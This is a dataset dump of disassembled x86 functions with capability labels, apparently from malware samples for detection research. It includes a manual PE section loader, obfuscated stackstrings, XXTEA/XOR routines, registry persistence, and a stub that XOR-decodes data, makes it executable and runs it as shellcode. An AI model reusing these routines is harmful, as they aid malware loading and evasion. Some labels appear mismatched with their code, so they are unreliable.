joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100014a0
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1000c100
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1c
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
push 0x10058e04
push 0x10058dc0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov eax, dword [ebp + 0x10]
xor edx, edx
push 0x1000def0
mov dword [ebp - 4], 0
mov ecx, dword [eax + 4]
mov eax, dword [eax]
mov dword [ebp - 0x1c], ecx
lea ecx, [ebp - 0x24]
mov dx, word [eax + 0x14]
push ecx
mov dword [ebp - 0x24], 0x50
lea eax, [edx + eax + 0x18]
mov dword [ebp - 0x14], eax
call fcn.100025ea
mov esi, dword [ebp - 0x14]
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x18], 0
mov edx, dword [ebp + 0x10]
xor ecx, ecx
mov eax, dword [edx]
mov cx, word [eax + 6]
mov eax, dword [ebp - 0x18]
cmp eax, ecx
jge 0x100015f9
mov eax, dword [esi + 0x10]
test eax, eax
jne 0x10001581
mov edx, dword [ebp + 0xc]
mov ebx, dword [edx + 0x38]
test ebx, ebx
jle 0x100015e7
mov eax, dword [esi + 0xc]
mov edx, dword [ebp - 0x1c]
push 4
push 0x1000
add eax, edx
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, ebx
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [esi + 8], edi
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov ecx, dword [ebp - 0x18]
inc ecx
add esi, 0x28
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], esi
jmp 0x10001519
push 4
push 0x1000
push eax
mov eax, dword [esi + 0xc]
add eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea ecx, [ebp - 0x28]
push 0x1000def0
push ecx
mov dword [ebp - 0x20], eax
mov byte [ebp - 4], 2
mov dword [ebp - 0x28], 0x55
call fcn.100025ea
mov eax, dword [ebp - 0x14]
mov edi, dword [ebp - 0x20]
mov ecx, dword [eax + 0x10]
mov esi, dword [eax + 0x14]
mov eax, dword [ebp + 8]
mov edx, ecx
add esi, eax
mov eax, 0x100015d7
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
ret
mov ecx, dword [ebp - 0x18]
inc ecx
add esi, 0x28
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], esi
jmp 0x10001519
mov eax, 0x100015ff
ret
Function at 0x10001ba0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1000c150
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x30
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov dword [ebp - 0x10], esp
push 0x10058dd0
push 0x10058dc0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov dword [ebp - 0x20], eax
mov al, 0x45
mov byte [ebp - 0x3b], al
mov byte [ebp - 0x38], al
mov al, 0x6c
mov cl, 0x72
mov byte [ebp - 0x32], al
mov byte [ebp - 0x31], al
mov byte [ebp - 0x26], al
mov al, 0x65
mov byte [ebp - 0x23], al
mov byte [ebp - 0x22], al
mov byte [ebp - 0x2a], cl
mov byte [ebp - 0x24], cl
lea eax, [ebp - 0x2c]
lea ecx, [ebp - 0x3c]
xor ebx, ebx
push eax
push ecx
mov byte [ebp - 0x3c], 0x4b
mov byte [ebp - 0x3a], 0x52
mov byte [ebp - 0x39], 0x4e
mov byte [ebp - 0x37], 0x4c
mov byte [ebp - 0x36], 0x33
mov byte [ebp - 0x35], 0x32
mov byte [ebp - 0x34], 0x2e
mov byte [ebp - 0x33], 0x64
mov byte [ebp - 0x30], bl
mov byte [ebp - 0x2c], 0x56
mov byte [ebp - 0x2b], 0x69
mov byte [ebp - 0x29], 0x74
mov byte [ebp - 0x28], 0x75
mov byte [ebp - 0x27], 0x61
mov byte [ebp - 0x25], 0x46
mov byte [ebp - 0x21], bl
call esi
push eax
call edi
push 0x10058ddc
push 0x10058e30
mov dword [ebp - 0x18], eax
call esi
push eax
call edi
lea edx, [ebp - 0x14]
push 0x1000def0
push edx
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0x14], 0x44
call fcn.100025ea
mov esi, dword [ebp + 8]
xor ebx, ebx
cmp esi, ebx
je 0x10001cea
cmp dword [esi + 0x10], ebx
je 0x10001c9c
mov eax, dword [esi]
mov ecx, dword [esi + 4]
push ebx
push ebx
mov eax, dword [eax + 0x28]
push ecx
add eax, ecx
call eax
mov dword [esi + 0x10], ebx
cmp dword [esi + 8], ebx
je 0x10001cd0
mov eax, dword [esi + 0xc]
xor edi, edi
cmp eax, ebx
jle 0x10001cc4
mov ecx, dword [esi + 8]
mov eax, dword [ecx + edi*4]
cmp eax, 0xffffffff
je 0x10001cbc
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [esi + 0xc]
inc edi
cmp edi, eax
jl 0x10001caa
mov edx, dword [esi + 8]
push edx
call fcn.100010e0
add esp, 4
mov eax, dword [esi + 4]
cmp eax, ebx
je 0x10001ce1
push 0x8000
push ebx
push eax
call dword [ebp - 0x18]
push esi
push ebx
call dword [ebp - 0x1c]
push eax
call dword [ebp - 0x20]
mov eax, 0x10001cf0
ret
Function at 0x10001dd0
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa
Encrypt data using xxtea

Disassembly:
sub esp, 8
push ebx
mov ebx, dword [esp + 0x14]
push ebp
push esi
cmp ebx, 1
push edi
jle 0x10001ee1
mov eax, 0x34
mov edi, dword [esp + 0x1c]
cdq
idiv ebx
xor ecx, ecx
add eax, 6
mov dword [esp + 0x14], eax
xor eax, eax
mov al, byte [edi + ebx - 1]
jmp 0x10001e05
mov ebx, dword [esp + 0x20]
sub ecx, 0x61c88647
xor esi, esi
mov ebp, ecx
mov dword [esp + 0x10], ecx
shr ebp, 2
lea ecx, [ebx - 1]
and ebp, 3
test ecx, ecx
jbe 0x10001e79
xor ecx, ecx
mov bl, al
mov cl, byte [esi + edi + 1]
mov edx, ecx
mov dword [esp + 0x1c], ecx
shr edx, 3
shl bl, 4
xor dl, bl
mov ebx, eax
shr ebx, 5
shl cl, 2
xor bl, cl
mov ecx, esi
and ecx, 3
add dl, bl
mov ebx, dword [esp + 0x24]
xor ecx, ebp
mov cl, byte [ebx + ecx*4]
mov bl, byte [esp + 0x1c]
xor cl, al
mov al, byte [esp + 0x10]
xor al, bl
mov bl, byte [esi + edi]
add cl, al
xor dl, cl
mov ecx, dword [esp + 0x20]
add bl, dl
mov al, bl
mov byte [esi + edi], bl
and eax, 0xff
inc esi
dec ecx
cmp esi, ecx
jb 0x10001e20
xor ecx, ecx
mov bl, al
mov cl, byte [edi]
and esi, 3
mov edx, ecx
mov dword [esp + 0x1c], ecx
shr edx, 3
shl bl, 4
xor dl, bl
mov ebx, eax
shr ebx, 5
shl cl, 2
xor bl, cl
mov ecx, dword [esp + 0x24]
xor esi, ebp
add dl, bl
mov bl, byte [ecx + esi*4]
mov ecx, dword [esp + 0x10]
xor bl, al
mov al, cl
xor al, byte [esp + 0x1c]
add bl, al
mov eax, dword [esp + 0x20]
xor dl, bl
mov bl, byte [edi + eax - 1]
add bl, dl
mov edx, dword [esp + 0x14]
mov byte [edi + eax - 1], bl
mov al, bl
and eax, 0xff
dec edx
mov dword [esp + 0x14], edx
jne 0x10001e01
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret
cmp ebx, 0xffffffff
jge 0x10001fe4
mov eax, 0x34
mov edi, dword [esp + 0x1c]
cdq
neg ebx
idiv ebx
mov dword [esp + 0x20], ebx
add eax, 6
mov ebp, eax
mov dword [esp + 0x14], eax
imul ebp, ebp, 0x9e3779b9
xor eax, eax
mov dword [esp + 0x10], ebp
mov al, byte [edi]
jmp 0x10001f19
mov ebx, dword [esp + 0x20]
shr ebp, 2
lea esi, [ebx - 1]
and ebp, 3
test esi, esi
jbe 0x10001f7c
xor ecx, ecx
mov edx, eax
mov cl, byte [esi + edi - 1]
mov bl, cl
mov dword [esp + 0x1c], ecx
shr edx, 3
shl bl, 4
xor dl, bl
mov bl, al
shr ecx, 5
shl bl, 2
xor cl, bl
mov ebx, dword [esp + 0x24]
add dl, cl
mov ecx, esi
and ecx, 3
xor ecx, ebp
mov cl, byte [ebx + ecx*4]
mov bl, byte [esp + 0x1c]
xor cl, bl
mov bl, byte [esp + 0x10]
xor bl, al
add cl, bl
mov bl, byte [esi + edi]
xor dl, cl
sub bl, dl
mov al, bl
mov byte [esi + edi], bl
and eax, 0xff
dec esi
jne 0x10001f26
mov ebx, dword [esp + 0x20]
xor ecx, ecx
mov edx, eax
mov cl, byte [edi + ebx - 1]
and esi, 3
mov bl, cl
mov dword [esp + 0x1c], ecx
shr edx, 3
shl bl, 4
xor dl, bl
mov bl, al
shr ecx, 5
shl bl, 2
xor cl, bl
mov bl, byte [esp + 0x1c]
add dl, cl
mov ecx, dword [esp + 0x24]
xor esi, ebp
mov ebp, dword [esp + 0x10]
add ebp, 0x61c88647
mov cl, byte [ecx + esi*4]
xor cl, bl
mov bl, byte [esp + 0x10]
xor bl, al
mov dword [esp + 0x10], ebp
add cl, bl
mov bl, byte [edi]
xor dl, cl
mov ecx, dword [esp + 0x14]
sub bl, dl
mov al, bl
mov byte [edi], bl
and eax, 0xff
dec ecx
mov dword [esp + 0x14], ecx
jne 0x10001f15
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret
Function at 0x10002080
Capabilities:
Set registry value

Disassembly:
sub esp, 0x108
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 9]
mov byte [esp + 8], 0
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0xc]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 4]
push ecx
push 0xf003f
push 0
push 0x10058e50
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
pop edi
jne 0x100020f7
lea edx, [esp + 4]
push 0x104
push edx
push 1
push eax
mov eax, dword [esp + 0x10]
push 0x10058e40
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x10058dac
call fcn.10001ff0
xor eax, eax
add esp, 0x10c
ret
Function at 0x4026c0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ecx
mov ecx, dword [ebp + 8]
push ebx
push esi
mov eax, dword [ecx + 0x14]
movzx ebx, word [ecx + 0x1e]
mov dword [ebp + 8], eax
mov eax, dword [ecx + 0x18]
cdq
mov esi, eax
shr ebx, 3
xor esi, edx
sub esi, edx
test esi, esi
jle 0x402774
mov edx, dword [ebp + 8]
mov eax, ebx
movsd xmm2, qword [0x41f668]
movsd xmm3, qword [0x41f658]
movsd xmm4, qword [0x41f650]
imul eax, edx
push edi
mov edi, dword [ebp + 0xc]
inc edi
mov dword [ebp - 4], eax
test edx, edx
jle 0x40276e
mov ecx, edi
jmp 0x402720
movzx eax, byte [ecx]
movd xmm1, eax
movzx eax, byte [ecx + 1]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
movzx eax, byte [ecx - 1]
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm2
mulsd xmm0, xmm3
addsd xmm1, xmm0
movd xmm0, eax
cvtdq2pd xmm0, xmm0
mulsd xmm0, xmm4
addsd xmm1, xmm0
cvttsd2si eax, xmm1
mov byte [ecx + 1], al
mov byte [ecx], al
mov byte [ecx - 1], al
add ecx, ebx
dec edx
jne 0x402720
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 4]
add edi, eax
dec esi
jne 0x402710
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x402c40
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
mov ebx, ecx
cmp dword [ebx + 0x40], 0
je 0x402d46
cmp byte [ebx + 0x45], 0
je 0x402d46
mov eax, dword [ebx]
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
jne 0x402c70
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, 0xf
mov byte [ebp - 0x1c], 0
xorps xmm0, xmm0
mov dword [ebp - 8], ecx
cmp ecx, 0x10
movq qword [ebp - 0x1c], xmm0
lea eax, [ebp - 0x1c]
mov dword [ebp - 0xc], 8
cmovae eax, dword [ebp - 0x1c]
push esi
push edi
mov byte [eax + 8], 0
jmp 0x402ca0
cmp dword [ebp - 8], 0x10
lea eax, [ebp - 4]
mov ecx, dword [ebx + 0x40]
lea edi, [ebp - 0x1c]
cmovae edi, dword [ebp - 0x1c]
lea esi, [ebp - 0x1c]
cmovae esi, dword [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0xc]
mov edx, dword [ecx]
add eax, edi
push eax
push esi
lea eax, [ebx + 0x48]
push eax
call dword [edx + 0x20]
sub eax, 0
je 0x402cda
dec eax
je 0x402cde
sub eax, 2
je 0x402d2a
xor bl, bl
jmp 0x402d2c
mov byte [ebx + 0x45], 0
mov ecx, dword [ebp - 8]
lea eax, [ebp - 0x1c]
mov edx, dword [ebp - 0x1c]
cmp ecx, 0x10
mov esi, dword [ebp - 4]
cmovae eax, edx
sub esi, eax
je 0x402d10
push dword [ebx + 0x50]
cmp ecx, 0x10
lea eax, [ebp - 0x1c]
push esi
cmovae eax, edx
push 1
push eax
call fcn.00408889
add esp, 0x10
cmp esi, eax
jne 0x402cd6
cmp byte [ebx + 0x45], 0
je 0x402d2a
test esi, esi
jne 0x402ca0
push esi
push 8
lea ecx, [ebp - 0x1c]
call fcn.004040f0
jmp 0x402ca0
mov bl, 1
cmp dword [ebp - 8], 0x10
pop edi
pop esi
jb 0x402d3f
push dword [ebp - 0x1c]
call fcn.0040780b
add esp, 4
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4058b0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
mov ebx, ecx
mov ecx, dword [ebp + 8]
cmp ecx, 0xffffffff
jne 0x4058ca
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 4
mov eax, dword [ebx + 0x20]
push esi
push edi
mov edx, dword [eax]
test edx, edx
je 0x4058fe
mov esi, dword [ebx + 0x30]
mov edi, dword [esi]
lea eax, [edi + edx]
cmp edx, eax
jae 0x4058fe
lea eax, [edi - 1]
mov dword [esi], eax
mov ecx, dword [ebx + 0x20]
pop edi
pop esi
pop ebx
mov edx, dword [ecx]
lea eax, [edx + 1]
mov dword [ecx], eax
mov eax, dword [ebp + 8]
mov byte [edx], al
mov esp, ebp
pop ebp
ret 4
cmp dword [ebx + 0x50], 0
jne 0x405910
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret 4
mov esi, dword [ebx + 0xc]
lea eax, [ebx + 0x44]
cmp dword [esi], eax
jne 0x405931
mov ecx, dword [ebx + 0x38]
mov edx, dword [ebx + 0x3c]
mov dword [esi], ecx
sub edx, ecx
mov eax, dword [ebx + 0x1c]
mov dword [eax], ecx
mov eax, dword [ebx + 0x2c]
mov ecx, dword [ebp + 8]
mov dword [eax], edx
cmp dword [ebx + 0x40], 0
jne 0x40595a
push dword [ebx + 0x50]
movsx eax, cl
push eax
call fcn.004084bf
add esp, 8
or ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, dword [ebp + 8]
pop edi
pop esi
mov eax, ecx
pop ebx
mov esp, ebp
pop ebp
ret 4
mov byte [ebp - 4], cl
lea eax, [ebp - 0x24]
mov ecx, 0xf
mov byte [ebp - 0x24], 0
xorps xmm0, xmm0
mov dword [ebp - 0x10], ecx
cmp ecx, 0x10
movq qword [ebp - 0x24], xmm0
mov dword [ebp - 0x14], 8
cmovae eax, dword [ebp - 0x24]
mov byte [eax + 8], 0
cmp dword [ebp - 0x10], 0x10
lea eax, [ebp - 8]
mov esi, dword [ebx + 0x40]
lea ecx, [ebp - 0x24]
cmovae ecx, dword [ebp - 0x24]
lea edx, [ebp - 0x24]
cmovae edx, dword [ebp - 0x24]
push eax
mov eax, dword [ebp - 0x14]
mov edi, dword [esi]
add eax, ecx
push eax
push edx
lea eax, [ebp - 0xc]
mov ecx, esi
push eax
lea eax, [ebp - 3]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebx + 0x48]
push eax
call dword [edi + 0x1c]
test eax, eax
js 0x405a48
cmp eax, 1
jg 0x405a2b
mov edi, dword [ebp - 0x10]
lea eax, [ebp - 0x24]
mov ecx, dword [ebp - 0x24]
cmp edi, 0x10
mov esi, dword [ebp - 8]
cmovae eax, ecx
sub esi, eax
je 0x4059fc
push dword [ebx + 0x50]
cmp edi, 0x10
lea eax, [ebp - 0x24]
push esi
cmovae eax, ecx
push 1
push eax
call fcn.00408889
add esp, 0x10
cmp esi, eax
jne 0x405a48
lea eax, [ebp - 4]
mov byte [ebx + 0x45], 1
cmp dword [ebp - 0xc], eax
jne 0x405a26
test esi, esi
jne 0x405986
cmp dword [ebp - 0x14], 0x20
jae 0x405a48
push esi
push 8
lea ecx, [ebp - 0x24]
call fcn.004040f0
jmp 0x405986
mov ebx, dword [ebp + 8]
jmp 0x405a4b
cmp eax, 3
jne 0x405a48
push dword [ebx + 0x50]
push dword [ebp - 4]
call fcn.004013f0
or ecx, 0xffffffff
test al, al
cmovne ecx, dword [ebp + 8]
mov ebx, ecx
jmp 0x405a4b
or ebx, 0xffffffff
cmp dword [ebp - 0x10], 0x10
jb 0x405a5c
push dword [ebp - 0x24]
call fcn.0040780b
add esp, 4
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x4069f0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
push ebx
push esi
push edi
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0x2faf080
call fcn.00406d7e
mov edi, eax
add esp, 4
xor eax, eax
test edi, edi
je 0x406b68
lea ecx, [edi + 0x2faf080]
mov edx, edi
mov esi, ecx
sub esi, edi
cmp edi, ecx
cmova esi, eax
test esi, esi
je 0x406a41
inc eax
mov byte [edx], bl
lea edx, [edx + 1]
cmp eax, esi
jne 0x406a37
xor ecx, ecx
lea esi, [ecx + 0xd]
jmp 0x406a50
movzx eax, byte [ecx + section..data]
ror al, 3
xor al, byte [ebx + str.obrrgtrtstqmm]
mov byte [ecx + section..data], al
lea eax, [ebx + 1]
cdq
idiv esi
movzx eax, byte [ecx + 0x428001]
ror al, 3
xor al, byte [edx + str.obrrgtrtstqmm]
mov byte [ecx + 0x428001], al
lea eax, [edx + 1]
cdq
idiv esi
movzx eax, byte [ecx + 0x428002]
ror al, 3
xor al, byte [edx + str.obrrgtrtstqmm]
mov byte [ecx + 0x428002], al
lea eax, [edx + 1]
cdq
idiv esi
movzx eax, byte [ecx + 0x428003]
ror al, 3
xor al, byte [edx + str.obrrgtrtstqmm]
mov byte [ecx + 0x428003], al
lea eax, [edx + 1]
cdq
idiv esi
movzx eax, byte [ecx + 0x428004]
ror al, 3
xor al, byte [edx + str.obrrgtrtstqmm]
mov byte [ecx + 0x428004], al
lea eax, [edx + 1]
cdq
idiv esi
movzx eax, byte [ecx + 0x428005]
ror al, 3
xor al, byte [edx + str.obrrgtrtstqmm]
mov byte [ecx + 0x428005], al
lea eax, [edx + 1]
cdq
add ecx, 6
idiv esi
mov ebx, edx
cmp ecx, 0x1e8a
jb 0x406a50
lea eax, [ebp - 8]
push eax
push 0x40
push 0x1e8a
push section..data
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, section..data
call eax
push edi
call fcn.00408e57
add esp, 4
lea eax, [ebp - 0x40]
push eax
push str.ddser.bmp
call fcn.00402780
mov esi, eax
test esi, esi
je 0x406b66
push esi
lea eax, [ebp - 0x40]
push eax
call fcn.004026c0
push esi
lea eax, [ebp - 0x40]
push eax
push str.rtertert.bmp
call fcn.00402980
push esi
call fcn.00408e57
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41942f
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x42a5e0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.0040bc2f
mov dword [ebp - 0x14], eax
cmp dword [0x42cab4], esi
jne 0x419522
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x4194af
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x419602
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x419602
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x419602
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x42cab4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x42cab8], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x42cabc], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x42cac4], eax
test eax, eax
je 0x41951f
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x42cac0], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x419547
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x41953a
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x41955c
push 4
pop eax
jmp 0x419604
cmp dword [ebp - 0x14], esi
je 0x41955c
push dword [0x42cab4]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x419541
mov eax, dword [0x42cac0]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x4195ba
cmp dword [0x42cac4], edi
je 0x4195ba
push eax
call ebx
push dword [0x42cac4]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x4195ba
test eax, eax
je 0x4195ba
call ecx
test eax, eax
je 0x4195af
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x4195af
test byte [ebp - 8], 1
jne 0x4195ba
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x4195ea
mov eax, dword [0x42cab8]
cmp eax, edi
je 0x4195e7
push eax
call ebx
test eax, eax
je 0x4195e7
call eax
mov esi, eax
test esi, esi
je 0x4195e7
mov eax, dword [0x42cabc]
cmp eax, edi
je 0x4195e7
push eax
call ebx
test eax, eax
je 0x4195e7
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x42cab4]
call ebx
test eax, eax
je 0x419602
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x419604
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040abeb
mov esp, ebp
pop ebp
ret
Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
mov ecx, 0x50ca5ae6
nop
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
xor dword [eax], ecx
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x433024
nop
mov eax, section..data
mov ebx, 0x4304d8
nop
mov ecx, 0x21740f7
nop
nop
nop
test eax, eax
nop
nop
je 0x433084
nop
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x10034690
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
mov eax, dword [0x10200c9c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x102044b0]
mov dword [ebp - 0x60], 0
test eax, eax
jne 0x1003477f
push 0x55
push 0x102044b8
push 0x5c
push eax
call dword [sym.imp.kernel32.dll_GetLocaleInfoEx]
test eax, eax
jle 0x10034768
push esi
push 0x55
lea eax, [ebp - 0x5c]
push 0
push eax
call fcn.1010ca00
add esp, 0xc
mov esi, 0x2d
xor edx, edx
nop dword [eax]
nop dword [eax + eax]
movzx eax, word [edx*2 + 0x102044b8]
cmp eax, 0x5f
movzx ecx, al
cmove ecx, esi
mov byte [ebp + edx - 0x5c], cl
test cl, cl
je 0x10034713
inc edx
cmp edx, 0x55
jl 0x100346f0
mov byte [ebp - 8], 0
push 0x41
call sym.icuuc69.dll_private:_signed_char___thiscall_icu_69::MessagePattern::copyStorage_class_icu_69::MessagePattern_const___enum_UErrorCode__
mov esi, eax
add esp, 4
test esi, esi
je 0x10034767
lea eax, [ebp - 0x60]
push eax
push 0x40
lea eax, [ebp - 0x5c]
push esi
push eax
call sym.icuuc69.dll_private:_signed_char___thiscall_icu_69::MessagePattern::copyStorage_class_icu_69::MessagePattern_const___enum_UErrorCode__
add esp, 0x10
cmp dword [ebp - 0x60], 0
jg 0x1003475e
push 0x10033e30
push 0x17
mov byte [eax + esi], 0
mov dword [0x102044b0], esi
mov byte [0x102044b4], 1
call sym.icuuc69.dll_private:_signed_char___thiscall_icu_69::MessagePattern::copyStorage_class_icu_69::MessagePattern_const___enum_UErrorCode__
add esp, 8
jmp 0x10034767
push esi
call sym.icuuc69.dll_private:_signed_char___thiscall_icu_69::MessagePattern::copyStorage_class_icu_69::MessagePattern_const___enum_UErrorCode__
add esp, 4
pop esi
mov eax, dword [0x102044b0]
mov ecx, 0x1016b5e8
test eax, eax
cmovne ecx, eax
mov dword [0x102044b0], ecx
mov eax, ecx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100e9efb
mov esp, ebp
pop ebp
ret
Function at 0x100a9710
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10158b68
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x10200c9c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
mov dword [esi + 4], vtable.icu_69::UnicodeMatcher.0
push 0
push dword [ebp + 8]
lea eax, [esi + 0x34]
mov dword [ebp - 4], 0
mov dword [esi], vtable.icu_69::UnicodeSet.0
mov dword [esi + 4], vtable.icu_69::UnicodeSet.1.0
mov dword [esi + 8], eax
mov dword [esi + 0xc], 0x19
mov dword [esi + 0x10], 1
mov byte [esi + 0x14], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov dword [esi + 0x30], 0
call sym.icuuc69.dll_private:_signed_char___thiscall_icu_69::MessagePattern::copyStorage_class_icu_69::MessagePattern_const___enum_UErrorCode__
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x100a97c0
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10158b98
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x10200c9c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
mov dword [esi + 4], vtable.icu_69::UnicodeMatcher.0
push dword [ebp + 0xc]
lea eax, [esi + 0x34]
mov dword [esi], vtable.icu_69::UnicodeSet.0
push dword [ebp + 8]
mov dword [esi + 4], vtable.icu_69::UnicodeSet.1.0
mov dword [esi + 8], eax
mov dword [esi + 0xc], 0x19
